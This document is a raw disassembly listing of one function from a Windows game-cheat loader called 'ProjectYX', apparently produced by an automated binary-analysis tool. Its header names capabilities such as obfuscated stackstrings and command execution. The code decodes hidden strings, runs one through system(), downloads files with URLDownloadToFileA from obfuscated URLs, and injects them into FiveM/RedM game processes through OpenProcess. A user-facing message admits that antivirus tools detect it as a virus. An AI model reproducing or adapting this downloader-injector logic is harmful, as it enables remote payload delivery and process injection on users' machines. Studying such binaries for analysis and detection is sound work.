Function at 0x140048190
Capabilities:
Contain obfuscated stackstrings
Download url
Execute command
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0xc48]
sub rsp, 0xd40
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x1400da060]
xor rax, rsp
mov qword [rbp + 0xc20], rax
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14004a159
mov rcx, qword [0x14010c8c0]
or dword [rcx + 0x1e28], 2
movsd xmm0, qword [0x14010ba20]
movsd qword [rcx + 0x1e4c], xmm0
mov edi, 1
mov dword [rcx + 0x1e30], edi
or dword [rcx + 0x1e28], 0x40
mov dword [rcx + 0x1e88], 0x3f800000
mov r8d, dword [0x14010ba30]
lea rdx, reloc.WS2_32.dll_accept
mov rcx, qword [str._b__f_]
call fcn.14000d7a0
lea rcx, [0x1400c0d46]
call fcn.1400386a0
lea rcx, [0x1400c0d46]
call fcn.1400386a0
movaps xmm0, xmmword [0x1400c9cb0]
movups xmmword [rbp + 0x660], xmm0
lea rdx, str.__Attention__n_Its_normal_antivirus_detects_as_a_virus__n_its_up_to_you_to_take_responsibility_for_using_it.
lea rcx, [rbp + 0x660]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rbp + 0xd0], 0x43160000
mov dword [rbp + 0xd4], 0x41f00000
xor r8d, r8d
lea rdx, [rbp + 0xd0]
lea rcx, str.____Discord
call fcn.140039030
test al, al
je 0x1400482ee
movdqa xmm0, xmmword [0x1400c9870]
movdqu xmmword [rbp + 0x118], xmm0
movdqa xmm1, xmmword [0x1400c9e70]
movdqu xmmword [rbp + 0x128], xmm1
mov dword [rbp + 0x138], 0xd6e6def4
mov dword [rbp + 0x13c], 0xf4a1ddfc
mov dword [rbp + 0x140], 0x100c0c6
lea rcx, [rbp + 0x118]
call fcn.1400454a0
lea rcx, [rbp + 0x118]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movss xmm6, dword [0x1400c96d8]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cd0]
movups xmmword [rbp + 0x670], xmm0
lea rdx, str.Official
lea rcx, [rbp + 0x670]
call fcn.140038720
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x680], xmm0
lea rdx, str.ProjectYX_Discord_Server
lea rcx, [rbp + 0x680]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rbp + 0xc8], 0x43160000
mov dword [rbp + 0xcc], 0x41f00000
xor r8d, r8d
lea rdx, [rbp + 0xc8]
lea rcx, str.____FiveM_Kek_Menu
call fcn.140039030
test al, al
je 0x140048394
call fcn.140047860
mov byte [0x14010cf99], dil
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cd0]
movups xmmword [rbp + 0x690], xmm0
lea rdx, str.Status:
lea rcx, [rbp + 0x690]
call fcn.140038720
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x6a0], xmm0
lea rdx, str._Online
lea rcx, [rbp + 0x6a0]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rbp + 0xe0], 0x43160000
mov dword [rbp + 0xe4], 0x41f00000
xor r8d, r8d
lea rdx, [rbp + 0xe0]
lea rcx, str.____FiveM_Menus
call fcn.140039030
movzx ecx, byte [0x14010cf9a]
test al, al
cmovne ecx, edi
mov byte [0x14010cf9a], cl
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cd0]
movups xmmword [rbp + 0x6b0], xmm0
lea rdx, str.Status:
lea rcx, [rbp + 0x6b0]
call fcn.140038720
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x6c0], xmm0
lea rdx, str._Online
lea rcx, [rbp + 0x6c0]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rbp + 0xe8], 0x43160000
mov dword [rbp + 0xec], 0x41f00000
xor r8d, r8d
lea rdx, [rbp + 0xe8]
lea rcx, str.____Project_YX_PVP
call fcn.140039030
movzx ecx, byte [0x14010cf98]
test al, al
cmovne ecx, edi
mov byte [0x14010cf98], cl
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cd0]
movups xmmword [rbp + 0x6d0], xmm0
lea rdx, str._Status:
lea rcx, [rbp + 0x6d0]
call fcn.140038720
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x6e0], xmm0
lea rdx, str._Online
lea rcx, [rbp + 0x6e0]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
movdqa xmm0, xmmword [0x1400c98a0]
movdqu xmmword [rbp + 0x148], xmm0
movdqa xmm1, xmmword [0x1400c9850]
movdqu xmmword [rbp + 0x158], xmm1
mov dword [rbp + 0x168], 0x821352b
mov dword [rbp + 0x16c], 0x2c3a0166
mov word [rbp + 0x170], Ordinal_50
mov byte [rbp + 0x172], dil
lea rcx, [rbp + 0x148]
call fcn.14004a4a0
lea rcx, [rbp + 0x148]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
mov dword [rbp + 0x10], 0x4b060a2a
mov dword [rbp + 0x14], 0x562c2a52
mov dword [rbp + 0x18], 0x4b414440
mov word [rbp + 0x1c], 0x100
lea rcx, [rbp + 0x10]
call fcn.1400458c0
lea rcx, [rbp + 0x10]
call fcn.1400386a0
call fcn.140010550
mov rax, qword [0x14010c8c0]
or dword [rax + 0x1e28], 2
movsd xmm0, qword [0x14010ba20]
movsd qword [rax + 0x1e4c], xmm0
mov dword [rax + 0x1e30], edi
xor esi, esi
cmp byte [0x14010cf9a], sil
je 0x14004932a
xor r8d, r8d
xor edx, edx
lea rcx, str.FiveM_Menus
call fcn.14000d7a0
test al, al
je 0x14004932a
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rsp + 0x30], 0x504a466f
mov word [rsp + 0x34], Ordinal_32
mov byte [rsp + 0x36], dil
lea rcx, [rsp + 0x30]
call fcn.14004a470
lea rcx, [rsp + 0x30]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x6f0], xmm0
lea rdx, str._Crdream_3.0
lea rcx, [rbp + 0x6f0]
call fcn.140038720
mov dword [rbp - 0x60], 0x51090a25
mov dword [rbp - 0x5c], 0x1b11033d
mov word [rbp - 0x58], Ordinal_79
mov byte [rbp - 0x56], dil
lea rcx, [rbp - 0x60]
call fcn.1400458f0
lea rcx, [rbp - 0x60]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x700], xmm0
lea rdx, str._INSERT
lea rcx, [rbp + 0x700]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0xf0], rsi
xor r8d, r8d
lea rdx, [rbp + 0xf0]
lea rcx, str._Inject_Crdream
call fcn.140039030
test al, al
je 0x1400488b9
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea ecx, [rax + rbx]
test ecx, ecx
je 0x1400488a0
movdqa xmm0, xmmword [str._U_e]
movdqu xmmword [rbp + 0x438], xmm0
movdqa xmm1, xmmword [0x1400c9f50]
movdqu xmmword [rbp + 0x448], xmm1
mov word [rbp + 0x458], 0xe0
mov byte [rbp + 0x45a], dil
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x438]
call fcn.14004a690
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x2a0], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x2b0], xmm0
movdqa xmm1, xmmword [0x1400c9d70]
movdqa xmmword [rbp + 0x2c0], xmm1
movdqa xmm0, xmmword [str.VVRWUZYXXXYA_f]
movdqa xmmword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x2e0], 0x18151600
mov dword [rbp + 0x2e4], 0x57485945
mov dword [rbp + 0x2e8], 0x10171e
mov byte [rbp + 0x2ec], 1
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x290]
call fcn.14004a620
nop
lea rcx, [rbp + 0x9a0]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xb40]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x980]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
lea ecx, [rsi + 0x30]
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_Crdream__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp + 0xb40]
call fcn.140040250
nop
lea rcx, [rbp + 0x9a0]
call fcn.140040250
jmp 0x1400488b9
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Open_FiveM_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rsp + 0x38], 0x504a466f
mov word [rsp + 0x3c], Ordinal_32
mov byte [rsp + 0x3e], 1
lea rcx, [rsp + 0x38]
call fcn.14004a470
lea rcx, [rsp + 0x38]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x710], xmm0
lea rdx, str._RedM
lea rcx, [rbp + 0x710]
call fcn.140038720
mov dword [rbp - 0x50], 0x51090a25
mov dword [rbp - 0x4c], 0x1b11033d
mov word [rbp - 0x48], Ordinal_79
mov byte [rbp - 0x46], 1
lea rcx, [rbp - 0x50]
call fcn.1400458f0
lea rcx, [rbp - 0x50]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x720], xmm0
lea rdx, str._INSERT
lea rcx, [rbp + 0x720]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0xf8], 0
xor r8d, r8d
lea rdx, [rbp + 0xf8]
lea rcx, str._Inject_RedM
call fcn.140039030
test al, al
je 0x140048b47
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea ecx, [rax + rbx]
test ecx, ecx
je 0x140048b2e
movdqa xmm0, xmmword [0x1400c9d50]
movdqu xmmword [rbp + 0x7c0], xmm0
movdqa xmm1, xmmword [0x1400c9810]
movdqu xmmword [rbp + 0x7d0], xmm1
mov byte [rbp + 0x7e0], 1
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x7c0]
call fcn.14004a5b0
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x530], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x540], xmm0
movdqa xmm1, xmmword [0x1400c9d90]
movdqa xmmword [rbp + 0x550], xmm1
movdqa xmm0, xmmword [str.QUS_TZ___A]
movdqa xmmword [rbp + 0x560], xmm0
mov dword [rbp + 0x570], 0x19105d3f
mov word [rbp + 0x574], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x576], 1
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0x520]
call fcn.14004a400
nop
lea rcx, [rbp + 0x9c0]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xb60]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x860]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_RedM__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp + 0xb60]
call fcn.140040250
nop
lea rcx, [rbp + 0x9c0]
call fcn.140040250
jmp 0x140048b47
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Open_FiveM_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rsp + 0x40], 0x504a466f
mov word [rsp + 0x44], Ordinal_32
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.14004a470
lea rcx, [rsp + 0x40]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x730], xmm0
lea rdx, str._Project_Weed
lea rcx, [rbp + 0x730]
call fcn.140038720
mov dword [rbp - 0x40], 0x51090a25
mov dword [rbp - 0x3c], 0x1b11033d
mov word [rbp - 0x38], Ordinal_79
mov byte [rbp - 0x36], 1
lea rcx, [rbp - 0x40]
call fcn.1400458f0
lea rcx, [rbp - 0x40]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x740], xmm0
lea rdx, str._INSERT
lea rcx, [rbp + 0x740]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0x100], 0
xor r8d, r8d
lea rdx, [rbp + 0x100]
lea rcx, str._Inject_Weed
call fcn.140039030
test al, al
je 0x140048de4
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea ecx, [rax + rbx]
test ecx, ecx
je 0x140048dcb
movdqa xmm0, xmmword [str._U_e]
movdqu xmmword [rbp + 0x410], xmm0
movdqa xmm1, xmmword [0x1400c9f60]
movdqu xmmword [rbp + 0x420], xmm1
mov word [rbp + 0x430], 0xe0
mov byte [rbp + 0x432], 1
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x410]
call fcn.14004a690
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x7f0], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x800], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x810], xmm0
movdqa xmm1, xmmword [0x1400c9d90]
movdqa xmmword [rbp + 0x820], xmm1
movdqa xmm0, xmmword [0x1400c99b0]
movdqa xmmword [rbp + 0x830], xmm0
movdqa xmm1, xmmword [str.__1_]
movdqa xmmword [rbp + 0x840], xmm1
mov word [rbp + 0x850], 0xee
mov byte [rbp + 0x852], 1
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0x7f0]
call fcn.14004a390
nop
lea rcx, [rbp + 0x9e0]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xb80]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x880]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_Weed__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp + 0xb80]
call fcn.140040250
nop
lea rcx, [rbp + 0x9e0]
call fcn.140040250
jmp 0x140048de4
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Open_FiveM_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rsp + 0x48], 0x504a466f
mov word [rsp + 0x4c], Ordinal_32
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x48]
call fcn.14004a470
lea rcx, [rsp + 0x48]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x750], xmm0
lea rdx, str._Weavy
lea rcx, [rbp + 0x750]
call fcn.140038720
mov dword [rbp - 0x30], 0x51090a25
mov dword [rbp - 0x2c], 0x1b11033d
mov word [rbp - 0x28], Ordinal_79
mov byte [rbp - 0x26], 1
lea rcx, [rbp - 0x30]
call fcn.1400458f0
lea rcx, [rbp - 0x30]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x760], xmm0
lea rdx, str._INSERT
lea rcx, [rbp + 0x760]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0x108], 0
xor r8d, r8d
lea rdx, [rbp + 0x108]
lea rcx, str._Inject_Weavy
call fcn.140039030
test al, al
je 0x14004907f
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea ecx, [rax + rbx]
test ecx, ecx
je 0x140049066
movdqa xmm0, xmmword [0x1400c9d50]
movdqu xmmword [rbp + 0x178], xmm0
movdqa xmm1, xmmword [0x1400c9dd0]
movdqu xmmword [rbp + 0x188], xmm1
mov dword [rbp + 0x198], 0x2b206d77
mov word [rbp + 0x19c], Ordinal_45
mov byte [rbp + 0x19e], 1
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x178]
call fcn.14004a320
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x460], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x470], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x480], xmm0
movdqa xmm1, xmmword [0x1400c9d80]
movdqa xmmword [rbp + 0x490], xmm1
movdqa xmm0, xmmword [0x1400c9890]
movdqa xmmword [rbp + 0x4a0], xmm0
mov dword [rbp + 0x4b0], 0x115a0a04
mov dword [rbp + 0x4b4], 0x1001b1a
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0x460]
call fcn.14004a700
nop
lea rcx, [rbp + 0xa00]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xba0]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x8a0]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_Weavy__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp + 0xba0]
call fcn.140040250
nop
lea rcx, [rbp + 0xa00]
call fcn.140040250
jmp 0x14004907f
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Open_FiveM_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rsp + 0x50], 0x504a466f
mov word [rsp + 0x54], Ordinal_32
mov byte [rsp + 0x56], 1
lea rcx, [rsp + 0x50]
call fcn.14004a470
lea rcx, [rsp + 0x50]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x770], xmm0
lea rdx, str._Red_Engine_Old
lea rcx, [rbp + 0x770]
call fcn.140038720
mov dword [rsp + 0x60], 0x51090a25
mov dword [rsp + 0x64], 0x1b11033d
mov word [rsp + 0x68], Ordinal_79
mov byte [rsp + 0x6a], 1
lea rcx, [rsp + 0x60]
call fcn.1400458f0
lea rcx, [rsp + 0x60]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x780], xmm0
lea rdx, [0x1400c6198]
lea rcx, [rbp + 0x780]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0x110], 0
xor r8d, r8d
lea rdx, [rbp + 0x110]
lea rcx, str._Inject_Red
call fcn.140039030
test al, al
je 0x14004932a
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea ecx, [rax + rbx]
test ecx, ecx
je 0x140049311
movdqa xmm0, xmmword [0x1400c9d50]
movdqu xmmword [rbp + 0x1a0], xmm0
movdqa xmm1, xmmword [0x1400c9dc0]
movdqu xmmword [rbp + 0x1b0], xmm1
mov dword [rbp + 0x1c0], 0x2b206d77
mov word [rbp + 0x1c4], Ordinal_45
mov byte [rbp + 0x1c6], 1
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0x1a0]
call fcn.14004a320
nop
movdqa xmm0, xmmword [0x1400c9d20]
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm1, xmmword [str._APTFG]
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmm0, xmmword [0x1400c9db0]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm1, xmmword [0x1400c9d00]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm0, xmmword [str.RUSSVS____A]
movdqa xmmword [rbp + 0x330], xmm0
mov dword [rbp + 0x340], 0x1c131d17
mov dword [rbp + 0x344], 0x1d561218
mov dword [rbp + 0x348], 0x1001716
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x2f0]
call fcn.14004a2b0
nop
lea rcx, [rbp + 0xa20]
call fcn.140045790
mov rbx, rax
lea rcx, [rbp + 0xbc0]
call fcn.140045790
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140046b90
mov ebx, eax
call fcn.140046f60
lea r8d, [rax + rbx]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0x8c0]
call fcn.1400457e0
mov rdx, rax
mov rcx, rbx
call fcn.140047290
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_MessageBeep]
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str._Menu_Red__Injected_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp + 0xbc0]
call fcn.140040250
nop
lea rcx, [rbp + 0xa20]
call fcn.140040250
jmp 0x14004932a
xor r9d, r9d
lea r8, str.ProjectYX
lea rdx, str.Open_FiveM_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rax, qword [0x14010c8c0]
or dword [rax + 0x1e28], 2
movsd xmm0, qword [0x14010ba20]
movsd qword [rax + 0x1e4c], xmm0
mov dword [rax + 0x1e30], edi
cmp byte [0x14010cf98], 0
je 0x140049538
xor r8d, r8d
xor edx, edx
lea rcx, str.Project_YX_PVP_Free
call fcn.14000d7a0
test al, al
je 0x140049538
lea rcx, [0x1400c0d46]
call fcn.1400386a0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x790], xmm0
lea rdx, str._Project_PvP
lea rcx, [rbp + 0x790]
call fcn.140038720
movdqa xmm0, xmmword [0x1400c9cf0]
movdqu xmmword [rbp + 0x80], xmm0
mov dword [rbp + 0x90], 0x50447c12
mov dword [rbp + 0x94], 0x1000d58
lea rcx, [rbp + 0x80]
call fcn.14004a280
lea rcx, [rbp + 0x80]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x7a0], xmm0
lea rdx, [0x1400c6208]
lea rcx, [rbp + 0x7a0]
call fcn.140038720
movdqa xmm0, xmmword [0x1400c9c90]
movdqu xmmword [rbp + 0x98], xmm0
mov dword [rbp + 0xa8], 0xe5d57
mov byte [rbp + 0xac], 1
lea rcx, [rbp + 0x98]
call fcn.14004a250
lea rcx, [rbp + 0x98]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x7b0], xmm0
lea rdx, [0x1400c620c]
lea rcx, [rbp + 0x7b0]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
movaps xmm0, xmmword [0x1400c9cb0]
movups xmmword [rbp + 0x5d0], xmm0
lea rdx, str._Aimbot_Requires_FiveM_Full_Screen_
lea rcx, [rbp + 0x5d0]
call fcn.140038720
movaps xmm0, xmmword [0x1400c9cb0]
movups xmmword [rbp + 0x5e0], xmm0
lea rdx, str._Not_Changing_FiveM_Resolution_When_Injected_Will_Crash_
lea rcx, [rbp + 0x5e0]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0xd8], 0
xor r8d, r8d
lea rdx, [rbp + 0xd8]
lea rcx, str._Inject_PvP
call fcn.140039030
test al, al
je 0x1400494f2
call fcn.1400473c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
cmp byte [0x14010cf39], 0
je 0x14004952e
mov byte [0x14010cf38], 0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x5f0], xmm0
lea rdx, str._Injected
lea rcx, [rbp + 0x5f0]
call fcn.140038720
call fcn.14003a690
call fcn.140010550
cmp byte [0x14010cf99], 0
je 0x14004a111
mov rax, qword [0x14010c8c0]
or dword [rax + 0x1e28], 2
movsd xmm0, qword [0x14010ba28]
movsd qword [rax + 0x1e4c], xmm0
mov dword [rax + 0x1e30], edi
xor r8d, r8d
xor edx, edx
lea rcx, str.Kek_Menu
call fcn.14000d7a0
test al, al
je 0x14004a111
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov dword [rbp - 0x80], 0x41e0a23
mov dword [rbp - 0x7c], 0x25273652
mov word [rbp - 0x78], Ordinal_79
mov byte [rbp - 0x76], 1
lea rcx, [rbp - 0x80]
call fcn.1400458f0
lea rcx, [rbp - 0x80]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x600], xmm0
lea rdx, str._Premium
lea rcx, [rbp + 0x600]
call fcn.140038720
mov dword [rbp - 0x70], 0x51090a25
mov dword [rbp - 0x6c], 0x1b11033d
mov word [rbp - 0x68], Ordinal_79
mov byte [rbp - 0x66], 1
lea rcx, [rbp - 0x70]
call fcn.1400458f0
lea rcx, [rbp - 0x70]
call fcn.1400386a0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.1400113d0
movaps xmm0, xmmword [0x1400c9cc0]
movups xmmword [rbp + 0x610], xmm0
lea rdx, [0x1400c620c]
lea rcx, [rbp + 0x610]
call fcn.140038720
lea rcx, [0x1400c0d46]
call fcn.1400386a0
mov qword [rbp + 0xb0], 0
xor r8d, r8d
lea rdx, [rbp + 0xb0]
lea rcx, str._Inject_Premium
call fcn.140039030
test al, al
je 0x1400499f4
call fcn.140046b90
mov edi, eax
call fcn.140046f60
mov ebx, eax
lea rcx, str.FiveM_b2545_GTAProcess.exe
call fcn.140046ec0
